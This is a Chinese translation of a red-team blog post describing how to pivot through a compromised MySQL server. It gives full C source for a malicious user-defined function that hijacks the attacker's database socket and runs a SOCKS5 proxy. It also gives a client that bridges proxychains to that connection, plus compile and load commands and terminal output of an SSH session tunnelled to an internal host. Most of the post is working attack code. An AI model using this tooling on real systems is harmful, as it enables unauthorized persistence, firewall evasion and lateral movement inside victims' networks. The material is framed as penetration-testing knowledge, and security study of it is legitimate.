在进行红队练习时,我喜欢使用UDF作为持久控制的方式,因为它很难被捕获,而且易于使用,可轻松弹出shell。而在最近,我们的红队就遇到这样一种情况:除了数据库服务,网络防火墙会拦截所有和内部机器的通信流量。此时,经典的UDF弹shell失效了,它无法回连我们。当然我们还是可以执行类似do_system("my shiny command")
的命令,不过这非常不方便。
既然防火墙只让我们使用MySQL服务,那就把MySQL服务变为代理,让它成为我们征服内网的支点!
声明:以下代码的质量实在不行,请理解代码中的思想并根据需要来实现功能,请勿直接使用(只是简单的PoC)。
用户定义函数(UDF)和MySQL
在MySQL中,用户可以自定义函数,借此扩展出丰富强大的功能。而这些新函数是通过MySQL加载共享对象实现的,你可以通过传统的查询语句select your_function('pwn');
来使用它们。
如果你记忆力足够好,可能还记得Raptor/do_system,它利用UDF以root权限执行恶意命令。我们可以使用这个代码作为框架来构建所需的UDF:
#include <stdio.h> #include <stdlib.h> typedef struct st_udf_args { unsigned intarg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null;// 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { // Magic & Unicorns return 1; } char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); }
只需gcc -shared -o carracha.so carracha.c -fPIC
,再将文件移动到插件目录,加载进MySQL中(create function do_carracha returns integer soname 'carracha.so';
)。
寻找目标
如前所述,我们使用这个UDF重用连接,代理转发所有的TCP流量。如果我们知道连接所使用的文件描述符是什么,就可以轻松地重用它。不幸的是,我们不能直接知道连接使用的是什么文件描述符,所以我们需要暴力破解,直到找到正确的目标。这其实是一种非常古老的技术,在NetSec上曾有详细描述的文章。
首先,我们需要知道文件描述符的范围(以进行暴力破解)。为此,我们可以打开一个新的socket,并返回其文件描述符,这个数字将是破解的上限:
int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { ... int fd; fd = socket(AF_UNIX, SOCK_STREAM, 0); close(fd); ... }
一旦知道爆破的范围,接着使用getpeername确定某个文件描述符是否和一个有效的socket关联,以及连接到socket的端点是否是我们自己。
... for (i = 3; i < fd; i++) { ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size); if (ret == 0) { char ip[INET6_ADDRSTRLEN]; if (client_addr.ss_family == AF_INET) { struct sockaddr_in *s = (struct sockaddr_in *)&client_addr; inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip)); } else if (client_addr.ss_family == AF_INET6) { struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr; inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip)); } if (strstr(ip, "X.X.X.X")) { // Hardcoded because it is a PoC. We should take this value from function argument (do_carracha('ip')) write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); // Say hello to our client! } } } memset(&client_addr, 0, sizeof(client_addr)); } ...
经过几行代码,我们找到了那个神圣的入口!
将proxychains连接到MySQL服务
建立连接通信最简单方法是使用MySQL C API
。我们将使用这个教程的代码,建立稳定连接,然后直接打开socket执行查询(do_carracha('whatever')
):
void proxy_init(int sock){ ... write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30); // 执行问询 "select do_carracha('a')" ... } int main (int argc, char **argv) { MYSQL *con = mysql_init(NULL); if (con == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); exit(1); } if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); mysql_close(con); exit(1); } proxy_init(3); // 3 is the socket (0 -> stdin, 1 -> stdout, 2 -> stderr) exit(0); }
我们客户端将打开一个本地端口,并转发proxychains和MySQL连接之间的消息,所以无论它从proxychains收到什么,都将发送到服务器,反之亦然。这主要通过多个select来完成。
此时,我们有一个客户端来进行MySQL服务和proxychains之间的通信,而UDF将重用客户端socket来发送/接收消息。剩下唯一要解决的问题就是在UDF中实现SOCKS5。
将SOCKS5添加到UDF
我不喜欢重复造轮子,所以打算利用这个SOCKS5实例。我将重用在mod_ringbuilder(一个Apache后门,如果你对这个感兴趣,可以查看XAMP堆栈(第三部分)中的后门:Apache模块)中使用的稍微改动过的版本。
首先,我们派生进程(这样就不会产生阻塞),在子进程中使用被捕获的socket作为参数调用proxy函数,然后在父进程中关闭socket。
... void *worker(int fd) { int inet_fd = -1; int command = 0; unsigned short int p = 0; socks5_invitation(fd); socks5_auth(fd); command = socks5_command(fd); if (command == IP) { char *ip = NULL; ip = socks5_ip_read(fd); p = socks5_read_port(fd); inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd); if (inet_fd == -1) { exit(0); } socks5_ip_send_response(fd, ip, p); free(ip); } app_socket_pipe(inet_fd, fd); close(inet_fd); exit(0); } void proxy(int socks) { char a[1]; write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1); read(socks, a, sizeof(a)); // worker(socks); return; } int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { ... if (strstr(ip, "x.x.x.x")) { write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); pid = fork(); if (pid == 0) { proxy(i); exit(0); } else { close(i); return 1; } } ... } ...
PoC||GTFO
在这个PoC中使用了两个文件:
// SOCKS5 inside a UDF // based on https://github.com/fgssfgss/socks_proxy #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <string.h> #include <errno.h> #include <sys/select.h> #define BUFSIZE 65536 #define IPSIZE 4 #define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0])) typedef struct st_udf_args { unsigned intarg_count; // number of arguments enum Item_result*arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null;// 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { charmaybe_null; // 1 if func can return NULL unsigned intdecimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; enum socks { RESERVED = 0x00, VERSION = 0x05 }; enum socks_auth_methods { NOAUTH = 0x00, USERPASS = 0x02, NOMETHOD = 0xff }; enum socks_auth_userpass { AUTH_OK = 0x00, AUTH_VERSION = 0x01, AUTH_FAIL = 0xff }; enum socks_command { CONNECT = 0x01 }; enum socks_command_type { IP = 0x01, DOMAIN = 0x03 }; enum socks_status { OK = 0x00, FAILED = 0x05 }; int readn(int fd, void *buf, int n) { int nread, left = n; while (left > 0) { if ((nread = read(fd, buf, left)) == 0) { return 0; } else if (nread != -1){ left -= nread; buf += nread; } } return n; } void socks5_invitation(int fd) { char init[2]; readn(fd, (void *)init, ARRAY_SIZE(init)); if (init[0] != VERSION) { exit(0); } } void socks5_auth(int fd) { char answer[2] = { VERSION, NOAUTH }; write(fd, (void *)answer, ARRAY_SIZE(answer)); } int socks5_command(int fd) { char command[4]; readn(fd, (void *)command, ARRAY_SIZE(command)); return command[3]; } char *socks5_ip_read(int fd) { char *ip = malloc(sizeof(char) * IPSIZE); read(fd, (void* )ip, 2); //Buggy readn(fd, (void *)ip, IPSIZE); return ip; } unsigned short int socks5_read_port(int fd) { unsigned short int p; readn(fd, (void *)&p, sizeof(p)); return p; } int app_connect(int type, void *buf, unsigned short int portnum, int orig) { int new_fd = 0; struct sockaddr_in remote; char address[16]; memset(address,0, ARRAY_SIZE(address)); new_fd = socket(AF_INET, SOCK_STREAM,0); if (type == IP) { char *ip = NULL; ip = buf; snprintf(address, ARRAY_SIZE(address), "%hhu.%hhu.%hhu.%hhu",ip[0], ip[1], ip[2], ip[3]); memset(&remote, 0, sizeof(remote)); remote.sin_family = AF_INET; remote.sin_addr.s_addr = inet_addr(address); remote.sin_port = htons(portnum); if (connect(new_fd, (struct sockaddr *)&remote, sizeof(remote)) < 0) { return -1; } return new_fd; } } void socks5_ip_send_response(int fd, char *ip, unsigned short int port) { char response[4] = { VERSION, OK, RESERVED, IP }; write(fd, (void *)response, ARRAY_SIZE(response)); write(fd, (void *)ip, IPSIZE); write(fd, (void *)&port, sizeof(port)); } void app_socket_pipe(int fd0, int fd1) { int maxfd, ret; fd_set rd_set; size_t nread; char buffer_r[BUFSIZE]; maxfd = (fd0 > fd1) ? fd0 : fd1; while (1) { FD_ZERO(&rd_set); FD_SET(fd0, &rd_set); FD_SET(fd1, &rd_set); ret = select(maxfd + 1, &rd_set, NULL, NULL, NULL); if (ret < 0 && errno == EINTR) { continue; } if (FD_ISSET(fd0, &rd_set)) { nread = recv(fd0, buffer_r, BUFSIZE, 0); if (nread <= 0) break; send(fd1, (const void *)buffer_r, nread, 0); } if (FD_ISSET(fd1, &rd_set)) { nread = recv(fd1, buffer_r, BUFSIZE, 0); if (nread <= 0) break; send(fd0, (const void *)buffer_r, nread, 0); } } } void *worker(int fd) { int inet_fd = -1; int command = 0; unsigned short int p = 0; socks5_invitation(fd); socks5_auth(fd); command = socks5_command(fd); if (command == IP) { char *ip = NULL; ip = socks5_ip_read(fd); p = socks5_read_port(fd); inet_fd = app_connect(IP, (void *)ip, ntohs(p), fd); if (inet_fd == -1) { exit(0); } socks5_ip_send_response(fd, ip, p); free(ip); } app_socket_pipe(inet_fd, fd); close(inet_fd); exit(0); } void proxy(int socks) { char a[1]; write(socks, "And this is my Child\n", strlen("And this is my Child\n") + 1); read(socks, a, sizeof(a)); // worker(socks); return; } int do_carracha(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); int fd, i, ret, pid; struct sockaddr_storage client_addr; socklen_t addr_size = sizeof(client_addr); fd = socket(AF_UNIX, SOCK_STREAM, 0); close(fd); for (i = 3; i < fd; i++) { ret = getpeername(i, (struct sockaddr *)&client_addr, &addr_size); if (ret == 0) { char ip[INET6_ADDRSTRLEN]; if (client_addr.ss_family == AF_INET) { struct sockaddr_in *s = (struct sockaddr_in *)&client_addr; inet_ntop(AF_INET, &s->sin_addr, ip, sizeof(ip)); } else if (client_addr.ss_family == AF_INET6) { struct sockaddr_in6 *s = (struct sockaddr_in6 *)&client_addr; inet_ntop(AF_INET6, &s->sin6_addr, ip, sizeof(ip)); } if (strstr(ip, "X.X.X.X")) { write(i, "Now I am become Death\n", strlen("Now I am become Death\n") + 1); pid = fork(); if (pid == 0) { proxy(i); exit(0); } else { close(i); return 1; } } } memset(&client_addr, 0, sizeof(client_addr)); } return fd; } char do_carracha_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); }
第二个文件和连接通信相关。
// PoC to communicate proxychains and SOCKS5 #include <my_global.h> #include <mysql.h> #include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <sys/types.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <fcntl.h> void proxy_init(int sock){ fd_set readset; struct timeval tv; int i, retval, nread, localfd, clientlen, sr, maxfd, select_fd[2]; char test[1024]; struct sockaddr_in server, client; fprintf(stderr, "[ SERVER BANNER ]\n\n"); write(sock, "\31\x00\x00\00\x03select do_carracha('a');", 30); select_fd[0] = sock; while(1) {https://nets.ec/Shellcode/Socket-reuse FD_ZERO(&readset); FD_SET(select_fd[0], &readset); tv.tv_sec = 1; tv.tv_usec = 0; retval = select(select_fd[0] + 1, &readset, NULL, NULL, &tv); if (retval) { nread = read(select_fd[0], test, sizeof(test)); fprintf(stderr, "%s", test); if (strstr(test, "Child")) { break; } } } if ((localfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { fprintf(stderr, "\nERROR: could not open new socket!\n"); exit(1); } server.sin_family = AF_INET; server.sin_port = htons(1337); server.sin_addr.s_addr = INADDR_ANY; if (bind(localfd, (struct sockaddr *)&server, sizeof(server)) == -1) { fprintf(stderr, "\nERROR: could not bind!\n"); exit(1); } if (listen(localfd,5) == -1) { fprintf(stderr, "\nERROR: could not listen!\n"); exit(1); } clientlen = sizeof(client); fprintf(stderr, "\n[ RUN YOUR PROXYCHAINS NOW ]\n"); if ((select_fd[1] = accept(localfd, (struct sockaddr *)&client, &clientlen)) == -1) { fprintf(stderr, "\nERROR: could not accept!\n"); exit(1); } while(1) { tv.tv_sec = 1; tv.tv_usec = 0; FD_ZERO(&readset); maxfd = (select_fd[0] > select_fd[1])? select_fd[0] : select_fd[1]; for (i = 0; i < 2; i++) { FD_SET(select_fd[i], &readset); } sr = select(maxfd + 1, &readset, NULL, NULL, &tv); if (sr == -1) { fprintf(stderr, "ERROR: Select failed, something went reaaaally wrong!\n"); exit(1); } if (sr) { for (i = 0; i < 2; i++) { if(FD_ISSET(select_fd[i], &readset)) { memset(test, 0, sizeof(test)); if (i == 0) { nread = read(select_fd[0], test, sizeof(test)); fprintf(stderr, "-> %d packets from server\n", nread); write(select_fd[1], test, nread); } else if (i == 1) { nread = read(select_fd[1], test, sizeof(test)); if (nread <= 0){ fprintf(stderr, "ERROR: could not read from proxychains!\n"); exit(1); } fprintf(stderr, "<- %d packets from proxychains\n", nread); write(select_fd[0], test, nread); } } } } } } int main (int argc, char **argv) { MYSQL *con = mysql_init(NULL); if (con == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); exit(1); } if (mysql_real_connect(con, "Y.Y.Y.Y", "username", "password", NULL, 0, NULL, 0) == NULL) { fprintf(stderr, "%s\n", mysql_error(con)); mysql_close(con); exit(1); } proxy_init(3); exit(0); }
编译并运行:
Terminal 1
root@insularaptor:/tmp# ./MyShellQL [ SERVER BANNER ] Now I am become Death And this is my Child [ RUN YOUR PROXYCHAINS NOW ]
Terminal 2
root@insularaptor:/tmp# proxychains ssh [email protected] ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:1337-<><>-192.168.245.197:22-<><>-OK [email protected]'s password: Linux arcadia 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the indi vidual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Dec 7 19:22:36 2019 from 127.0.0.1 mothra@arcadia:~|⇒ exit Connection to 192.168.245.197 closed.
是的,我们刚刚把MySQL服务改造成了ssh代理!多么隐蔽的通信方式!
最后
UDF在渗透测试中一直是一款强力工具。希望这篇文章对你在信息安全方面的学习起到帮助,或者对你来说足够有趣。如果你发现了文章错误,请及时与我联系@TheXC3LL。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3384.html 来源:https://x-c3ll.github.io/posts/Pivoting-MySQL-Proxy/
来源:freebuf.com 2019-12-12 11:58:11 by: 白帽汇
请登录后发表评论
注册